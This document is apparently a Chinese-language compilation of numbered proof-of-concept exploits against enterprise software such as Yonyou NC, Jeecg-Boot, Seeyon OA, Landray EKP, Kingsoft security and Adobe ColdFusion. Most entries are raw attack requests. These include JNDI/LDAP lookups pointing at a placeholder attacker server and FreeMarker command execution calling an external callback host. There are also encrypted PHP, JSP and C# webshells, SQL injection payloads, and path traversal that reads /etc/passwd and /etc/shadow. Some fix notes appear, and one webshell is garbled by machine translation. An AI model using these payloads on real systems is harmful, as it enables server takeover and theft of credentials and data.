
{
  "serviceName": "nc.itf.iufo.IBaseSPService",
  "methodName": "saveXStreamConfig",
  "parameterTypes": [
    "java.lang.Object",
    "java.lang.String"
  ],
  "parameters": [
    "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
    "webapps/nc_web/407.jsp"
  ]
}

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host:
Connection: Keep-Alive
Content-Length: 253
Content-Type: application/x-www-form-urlencoded

{
  "serviceName": "nc.itf.iufo.IBaseSPService",
  "methodName": "saveXStreamConfig",
  "parameterTypes": [
    "java.lang.Object",
    "java.lang.String"
  ],
  "parameters": [
    "${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
    "webapps/nc_web/301.jsp"
  ]
}

83、亿赛通 /UploadFileFromClientServiceForClient 任意文件上传漏洞

漏洞描述:亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全防护软件。亿赛通电子文档安全管理系统任意文件上传
漏洞危害:攻击者可以上传恶意文件，获得服务器权限
修复方法
官网已发布安全修复版本，请升级至官网最新版本
https://www.esafenet.com/

84、Jeecg-Boot Freemarker 模版注入漏洞

漏洞危害

1、如果被攻击者利用，可直接getshell； 2、如果被攻击者利用，可被用于内网信息收集，扫描目标内网主机； 3、如果被攻击者利用，可攻击运行在内网或本地的应用程序； 4、如果被攻击者利用，可被用作攻击跳板；

修复方法

Jeecg官方暂未修复该漏洞，无法通过升级JeecgBoot版本修复该漏洞，建议： 1、临时禁用Freemarker高危的代码执行类，如：freemarker.template.utility.Execute（ftl利用方式较多，请自行判断）

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129

{"apiSelectId":"1290104038414721025",
"id":"1"}

85、远秋医学技能考试系统SQL注入

sqlmap -u "http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=7" -p id -batch

86、新开普智慧校园系统代码执行漏洞

漏洞详情
新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。
路径存在则漏洞存在
http://xxx.com/service_transport/service.action

poc没回显

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
 
{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}

写文件

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
 
{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}

文件转换为jsp

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
 
{
        "command": "GetFZinfo", 
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}

87、拓尔思 MAS 任意文件上传漏洞

POC待补充

88、金山终端安全系统V9任意文件上传漏洞

POST /inter/software_relation.php HTTP/1.1 
Host: 192.168.249.137:6868 
Content-Length: 1557 
Pragma: no-cache 
Cache-Control: no-cache 
Upgrade-Insecure-Requests: 1 
Origin: http://192.168.249.137:6868 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxRP5VjBKdqBrCixM 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: close 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolFileName" 

../../datav.php 
------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolDescri" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="id" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="version" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="sofe_typeof" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="fileSize" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="param" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolName" 

------WebKitFormBoundaryxRP5VjBKdqBrCixM 
Content-Disposition: form-data; name="toolImage"; filename="3.php" 
Content-Type: image/png 

<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?> 
------WebKitFormBoundaryxRP5VjBKdqBrCixM

89、Eramba任意代码执行漏洞

0x01 漏洞详情

CVE-2023-36255

**漏洞类型：**远程代码执行

**影响：**接管服务器

**简述：**Eramba存在远程代码执行漏洞，允许经过身份验证的用户执行任意代码。

0x02 影响版本

Enterprise and Community edition <= 3.19.1


GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1
Host: [redacted]
Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/settings
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Mar 2023 12:37:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename="test.pdf"
X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2033469

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
Error: The exit status code '127' says something went wrong:
stderr: &quot;sh: 1: --dpi: not found
&quot;
stdout: &quot;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether [redacted] brd ff:ff:ff:ff:ff:ff
    inet [redacted] brd [redacted] scope global ens33
       valid_lft forever preferred_lft forever
    inet6 [redacted] scope link
       valid_lft forever preferred_lft forever
&quot;
command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0'
--margin-right '0' --margin-top '0' --orientation 'Landscape'
--javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html'
'/tmp/knp_snappy6426d423104587.46971034.pdf'. </title>

[...]

90、Adobe ColdFusion 反序列化漏洞CVE-2023-29300

POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
Host: 1.2.3.4:1234
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 400
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
cmd: id

argumentCollection=
<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://xxx.xxx.xxx:1234/Basic/TomcatEcho</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

91、Panel loadfile 后台文件读取漏洞

漏洞描述

1Panel后台存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息文件

POC

POST /api/v1/file/loadfile {"paht":"/etc/passwd"}

92、金蝶云星空 CommonFileserver 任意文件读取漏洞

GET /CommonFileServer/c:/windows/win.ini

93、CODING平台idna目录存在目录遍历漏洞

Coding.net 是一个面向开发者的云端开发平台，提供 Git/SVN 代码托管、任务管理，在idna存在目录泄露漏洞，攻击者可获取目录文件信息。

94、中远麒麟堡垒机SQL注入

麒麟堡垒机用于运维管理的认证、授权、审计等监控管理。中远麒麟堡垒机存在SQL注入，可利用该漏洞获取系统敏感信息。

检索条件:

cert="Baolei"||title="麒麟堡垒机"||body="admin.php?controller=admin_index&action=get_user_login_fristauth"||body="admin.php?controller=admin_index&action=login"

POC

 relative: req0 && req1
  session: false
  requests:
  - method: POST
    timeout: 10
    path: /admin.php?controller=admin_commonuser
    headers:
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
        like Gecko) Chrome/69.0.2786.81 Safari/537.36
    data: username=admin' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm'='AAdm
    follow_redirects: true
    matches: (code.eq("200") && time.gt("5") && time.lt("10"))
  - method: POST
    timeout: 10
    path: /admin.php?controller=admin_commonuser
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
        like Gecko) Chrome/69.0.2786.81 Safari/537.36
      Content-Type: application/x-www-form-urlencoded
    data: username=admin
    follow_redirects: true
    matches: time.lt("5")

95、用友NC存在JNDI注入漏洞

POC待补充

96、OfficeWeb365 远程代码执行漏洞

【消息详情】：360漏洞云监测到网传《OfficeWeb365 远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经上传漏洞云情报平台，平台编号：360LDYLD-2023-00002453，情报订阅用户可登录漏洞云情报平台( https://loudongyun.360.cn/bug/list )查看漏洞详情。

360漏洞云监测到网传《OfficeWeb365远程代码执行漏洞》的消息，经漏洞云复核，确认为【真实】漏洞，漏洞影响【未知】版本，该漏洞标准化POC已经升级漏洞云情报平台，平台编号： 360LDYLD-2023-00002453

# 详细

POST /PW/SaveDraw?path=../../Content/img&idx=1.aspx HTTP/1.1
主持人：xxx
用户代理：Mozilla/5.0（Macintosh；Intel Mac OS X 10_15_7）AppleWebKit/537.36（KHTML，如 Gecko）Chrome/88.0.434.18 Safari/537.36
内容长度：2265
内容类型：application/x-www-form-urlencoded
接受编码：gzip、deflate
连接：关闭
数据:image/png;base64,01s34567890123456789y12345678901234567m91<%@ 页面语言="C#" %>
    <%@Import 命名空间="System.Reflection" %>
    <脚本运行=“服务器”>
               私有字节[]解密（字节[]数据）
        {
            字符串键=“e45e329feb5d925b”；
            数据 = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
            aes.Mode = System.Security.Cryptography.CipherMode.ECB;
            aes.Key = Encoding.UTF8.GetBytes(key);
            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
        }
        私有字节[]加密（字节[]数据）
        {
            字符串键=“e45e329feb5d925b”；
            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
            aes.Mode = System.Security.Cryptography.CipherMode.ECB;
            aes.Key = Encoding.UTF8.GetBytes(key);
            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
            返回 System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));
        }
    </脚本>
        <%
        //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);
                byte[] c=Request.BinaryRead(Request.ContentLength);
          string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f, 0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});
          类型程序集=Type.GetType(asname);
           MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});
           对象 obj=load.Invoke(null, new object[]{Decrypt(c)});
           MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});
           字符串名称 = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
           object pay=create.Invoke(obj,new object[] { name });
           pay.Equals(this);%>>---

97、gitlab路径遍历读取任意文件漏洞

可能需要登录
GET /group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

98、Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞

title="index" && header="lighttpd/1.4.30"

POC

/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137912

99、傲盾信息安全管理系统前台远程命令执行漏洞

漏洞描述：信息安全管理系统（ISMS）是IDC/ISP业务经营者建设的具有基础数据管理、访问日志管理、信息安全管理等功能的信息安全管理系统，该漏洞可未授权的情况下直接执行任意命令

相关信息：/user_management/sichuan_login

请求体：loginname=sysadmin&ticket=

100、蓝凌EKP系统存在未授权访问漏洞

漏洞描述：蓝凌EKP由深圳市蓝凌软件股份有限公司自出研发，是一款全程在线数字化OA，应用于大中型企业在线化办公。包含流程管理、知识管理、会议管理、公文管理、任务管理及督办管理等100个功能模块。攻击者可利用漏洞获取大量敏感信息。

Condition: body="蓝凌云服务平台"||(body="Landray"&&body="登录系统")||body="/scripts/jquery.landray.common.js"||body="java.landray.com.cn"||body="蓝凌软件"||(body="StylePath" && body="encryptPassword")

relative: req0
session: false
requests:
- method: GET
timeout: 10
path: /./ui-ext/./behavior/
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
follow_redirects: false
matches: (code.eq("200") && body.contains("ekp_server.log"))

101、中远麒麟堡垒机tokens SQL

cert="Baolei"||title="麒麟堡垒机"||body="admin.php?controller=admin_index&action=get_user_login_fristauth"||body="admin.php?controller=admin_index&action=login"

POST /baoleiji/api/tokens HTTP/1.1

constr=1' AND (SELECT 6999 FROM (SELECT(SLEEP(5)))ptGN) AND 'AAdm' = 'AAdm'&title=%40127.0.0.1

102、明源ERP存在SQL时间盲注

漏洞描述：明源地产ERP系统具有丰富的房地产行业经验和定制化功能,可以适应不同企业的需求。该系统存在sqI注 入漏洞，可获取服务器权限

relative: req0 && req1
session: false
requests:
- method: GET
timeout: 13
path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAT%20'0:0:5'--&ywtype=GETParentProjectName
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
follow_redirects: true
matches: (time.gt("5")) && time.lt("10")
- method: GET
timeout: 10
path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAT%20'0:0:0'--&ywtype=GETParentProjectName
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.2786.81 Safari/537.36
follow_redirects: true
matches: time.lt("5")

103、致远OA_V8.1SP2文件上传漏洞

POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager&managerMethod=saveFormula4C1loud HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: */*
Referer: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=5C25EFEF65A2B6A4C12848B88EA60639; loginPageURL=
Content-Type: multipart/form-data; 
boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Connection: close
Content-Length: 208

arguments={"formulaName":"test","formulaAlias":"safe_pre","formulaType":"2","formulaExpression":"","sample":"木马"}

104、致远 OA 协同管理软件无需登录 getshell

访问 ： ip/seeyon/htmlofficeservlet

如果出现下图所示的内容，表示存在漏洞。

构造POC

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2
dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
webshell

访问webshell

105、LiveBos ShowImage.do文件imgName参数读取漏洞

LiveBOS（简称LiveBOS）是顶点软件股份有限公司开发的一个对象型业务架构中间件及其集成开发工具。LiveBos ShowImage.do 文件imgName 参数存在文件读取漏洞，攻击者可以获取大量敏感信息。

Condition: body="LiveBos" || body="/react/browser/loginBackground.png"

/feed/ShowImage.do;.js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd

106、Smart S85F 任意文件读取

GET /log/decodmail.php?file=L2V0Yy9gc2xlZXAke0lGU30xMGAucGNhcA== HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=c36d5527fd784aa29748b3b1c50be7bc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

107、东方通TongWeb多个历史漏洞

漏洞描述 ：东方通存在多个历史漏洞，可能会导致信息泄漏、任意代码执行等危害
漏洞类型：任意文件上传、远程代码执行等
影响版本：不明
漏洞状态：均为Nday，POC 未公开，官方已发布修复补丁
研判结果：确认存在，等级严重。

修复建议：
安装官方补丁
下载地址：https://tongtech.com/dft/download.html##;或联系官方售后提供产品补丁包及产品升级包安装咨询、远程技术支持或上门服务支持。 联系方式可参考: https://tongtech.com/dft/newsDetailhtml?id=102195

临时缓解方案
1)暂时关闭管理控制台(默认9060端口)或设置访问策略，仅允许可信的ip地址访问管理控制台。如暂时不需要使用管理控制台，可在/conf/tongwebxml中关闭管理控制台，将status的值设置为stopped，<http-listener name="system-http-listener"port="9060"status="stopped">

2)暂时关闭JMX(默认7200端口)或设置访问策略，仅允许可信的ip地址访问JMX。若不使用JMX7200端口采集Tongweb监控值，可关闭JMX端口，/conf/tongweb.xml中可关闭JMX，enabled 设为 false<imx-service port="7200"address="127.0.0.1"protocol="rmi"enabled="false">

补丁链接：https://tongtech.com/dft/download.html

补丁名称：
TongWeb安全升级补丁包SR-001.part1
TongWeb安全升级补丁包SR-001.part2
TongWeb安全升级补丁包SR-001.part3
TongWeb安全升级补丁包SR-002
TongWeb6&amp;7文件上传和下载功能安全升级补丁包
TongWeb应用服务器产品控制台安全升级补丁包
TongWeb6&amp;7命令行上传文件功能升级补丁
TongWeb5命令行上传文件功能升级补丁
TongWeb应用服务器产品控制台安全升级补丁包

安全运营中心建议：
1、建议云防开启高阻断策略，等修复完逐项放开
2、没上云防的功能重点监控，所有互联网扫描直接封堵

108、蓝凌oa文件上传漏洞

1. 接口上传带马的zip包（aaa绕waf）
（绕过WAF的内容有500k的大小，这里就不上传了，只写出相关特征）

POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1
X-Real-IP: 
X-Forwarded-For: 
Host: 
X-Forwarded-Proto: https
X-B3-TraceId: a22c34f91eb9bd9e1326b3cc54aa23e9
X-B3-SpanId: a22c34f91eb9bd9e1326b3cc54aa23e9
Content-Length: 500817
Content-Type: multipart/form-data; boundary=********************1692085217190
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, 


2. 接口传参访问马
POST /resource/ui-component/themes/logs.jsp HTTP/1.1
X-Real-IP: 
X-Forwarded-For: 
Host: 
X-Forwarded-Proto: https
X-B3-TraceId: 2b5ccdfac376359b2f4ead71fe65db9d
X-B3-SpanId: 2b5ccdfac376359b2f4ead71fe65db9d
Content-Length: 42500
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SESSION=OWM5MjdiYjYtMjJjNy00OTlkLWJjNTktMTE1NDI3ZDhjMTc0; SERVERID=357e46e5f6aa75f389927a23b666915b|1692085247|1692083970
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded

3. 访问马 login.jsp

109、金和jc6存在任意文件上传漏洞

金和OA是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。因未对接口进行过滤限制，导致了任意文件的上传，可上传木马从而控制服务器
修复建议：
对上传⽂件的⼤⼩和类型进⾏校验，定义上传⽂件类型⽩名单。
检索语法：body="jc6/platform"

POC特征如下：
/C6/Jhsoft.Web.module/eformaspx/editeprint.aspx?key=writefile&filename=1.ashx&KeyCode=sxfZyQBw8yQ=&designpath=/C6/&typeid=&sPathfceform=./

poc:
relative: req0 && req1
session: false
get_variables:
- payload: base64Decode("SGVsbG8gV29ybGQgICAgIDg3IfileuploadCAgICAgICAgICAgICAwICAgICAgICAgICAgICAgIDUzMyAgICAgICAgICAgIA0KREJTVEVQPVJFSlRWRVZRDQpPUFRJT049VTBGV1JVWkpURVU9DQpGSUxFTkFNRT1MaTR2TGk0dmNIVmliR2xqTDJWa2FYUXZhVzVtYnk1cWMzQT0NCjwlb3V0LnByaW50bG4oIm9ubHkgdGVzdCIpOyU+DQo=")
requests:
- method: POST
  timeout: 35
  path: /jc6/OfficeServer
  headers:
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
      Gecko) Chrome/87.0.1482.110 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
  data: '{{payload}}'
  follow_redirects: true
  matches: code.eq("200")
- method: GET
  timeout: 10
  path: /public/edit/info.jsp
  headers:
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
      Gecko) Chrome/87.0.1482.110 Safari/537.36
  follow_redirects: true
  matches: (code.eq("200") && body.contains("only test"))

110、深信服SG上网优化管理系统catjs.php任意文件读取漏洞

POST /php/catjs.php

["../../../../../../../../etc/shadow"]

111、亿赛通电子文档安全管理系统任意文件上传漏洞

同83

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Content-Length: 1

<shell内容>

112、明御 SQL注入

/cqztbweb/VisitorWeb/VisitorWeb_XMLHTTPaspx?ParentCode=1'

113、时空智友企业流程化管控系统 login 文件读取漏洞

漏洞描述：时空智友企业流程化管控系统是使用JAVA开发为企业提供流程化管控的一款系统。时空智友企业流程化管控系统存在文件读取漏洞，攻击者可以读取文件获取敏感信息。

114、赛思SuccezBI前台任意文件上传

